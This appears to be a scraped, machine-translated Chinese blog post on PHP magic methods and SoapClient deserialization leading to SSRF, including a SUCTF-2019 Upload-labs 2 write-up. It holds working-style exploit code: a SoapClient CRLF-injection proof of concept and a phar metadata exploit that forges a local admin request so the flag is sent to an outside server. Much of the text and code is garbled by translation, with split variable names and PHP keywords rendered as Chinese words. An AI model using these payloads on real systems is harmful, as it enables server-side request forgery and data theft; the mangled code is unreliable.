序列化中的魔术方法
https://www.php.net/manual/zh/language.oop5.magic.php
诸如构造、销毁、调用、调用静态、获取、设置、设置、取消设置、睡眠、唤醒、toString、调用、设置状态、克隆和_ _调试信息等方法在PHP中被称为魔术方法
构造函数 __construct 对象被创建的时候调用析构函数 __destruct 对象被销毁的时候调用方法重载 __call 在对象中调用一个不可访问方法时调用方法重载 __callStatic 在静态上下文中调用一个不可访问方法时调用在给不可访问属性赋值时,__set 会被调用。读取不可访问属性的值时,__get 会被调用。当对不可访问属性调用 isset 或 empty 时,__isset 会被调用当对不可访问属性调用 unset 时,__unset 会被调用__sleep 在serialize 函数执行之前调用__wakeup 在unserialize 函数执行之前调用__toString 在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists判断也会触发php中的内置类 <?php $classes = get_declared_classes; foreach($classes as$class) { $methods = get_class_methods($class); foreach($methods as$method) { if(in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print$class . '::'. $method . "n"; } } }SoapClient _ _调用方法
简单对象访问协议
底层通信协议采用HTTP,数据传输格式采用XML
_ _调用方法:https://www.php.net/manual/zh/soapclient.call.php
首先,在正常情况下测试SoapClient类,并调用一个不存在的函数,该函数将调用__call方法
<?php $a = newSoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path')); $b = serialize($a); echo$b; $c = unserialize($b); $c->not_exists_function;$ AAA = serialize($ b);$ AAA = str_replace('^^',"rn",$aaa);$ AAA = str _ replace(' & amp;',' & amp,$ AAA);echo $ aaa
$c =非序列化($ AAA);$c->。not _ exists _ function?>。
$ AAA = serialize($ b);$ AAA = str_replace('^^',"rn",$aaa);$ AAA = str _ replace(' & amp;',' & amp,$ AAA);echobin 2 hex($ AAA);?>。
然后使用上面的PHPSESSID来访问,这是管理员
上传-lab2
https://github . com/team-su/SUCTF-2019/tree/master/Web/Upload % 20 labs % 202
标题可以上传文件和检查文件类型
在admin.php,
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){if(isset($_POST['admin'])){$ip = $_POST['ip']; //你用来获取flag的服务器ip$port = $_POST['port']; //你用来获取flag的服务器端口$ clazz = $ _ POST[' clazz '];$ func 1 = $ _ POST[' func 1 '];$ func 2 = $ _ POST[' func 2 '];$ func 3 = $ _ POST[' func 3 '];$ arg 1 = $ _ POST[' arg 1 '];$ arg 2 = $ _ POST[' arg 2 '];$ arg 2 = $ _ POST[' arg 3 '];$admin = newAd($ip,$port,$clazz,$func1,$func2,$func3,$arg1,$arg2,$ arg 3);$ admin->;检查;}}
需要本地访问,执行$ admin->检查;
在广告课上
function__destruct{getFlag($this->ip, $this->port);//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag}你可以直接拿到旗子
在class,文件类的方法调用finfo_file函数
functiongetMIME{$finfo = finfo_open(FILEINFO_MIME_TYPE);$this->type = finfo_file($finfo, $this->file_name);finfo_close($finfo);}finfo _ file/finfo _ buffer/mime _ content _ type通过_php_finfo_get_type间接调用关键函数php_stream_open_wrapper_ex,导致phar://
文件类的_ _唤醒方法通过反射初始化类,并调用其检查成员方法。将类名改为SoapClient,调用check方法时,将调用__call方法实现SSRF
exp:
<?php$phar = newPhar('test.phar');$phar->startBuffering;$phar->addFromString('test.txt','text');$phar->setStub('< language="php">__HALT_COMPILER;</>');class file { public $ file _ name = ";public $ func = " SoapClient
function _ _ construct { $ target = " http://127 . 0 . 0 . 1/admin . PHP ";$ post _ string = ' admin = & ampip=111.111.111.111&。port = 1111 & ampclazz = SplStack & ampfunc1 = push & ampfunc2 = push & ampfunc3 = push & amparg1 = 123456 & amparg2 = 123456 & amparg3= '。“rn”;$ headers =[];$this->。file_name = [null,array(' location ' = & gt;$target,' user_agent'=>。'xxxxx^^content-type: application/x-www-form-urlencoded^^'.“注册护士”str_replace('^^'join('^^',$headers).内容长度:“”。(字符串)strlen($post_string)。'^^^^'.$post_string),' uri ' = & gthello’)];} } $ object = newFileecho urlenode(serialize($ object));$phar->。setMetadata($ object);$phar->。停止缓冲;
推荐人
https://www.anquanke.com/post/id/153065https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.htmlhttps://xz.aliyun.com/t/2148相关实验:SSRF攻防
扫描代码实验
推荐SSRF攻防
大家都有不错的技术原创文章
投稿详情点击——重金奖励|和田原创投稿增加稿费!
1.《soapclient SoapClient反序列化SSRF》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《soapclient SoapClient反序列化SSRF》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/guonei/1081110.html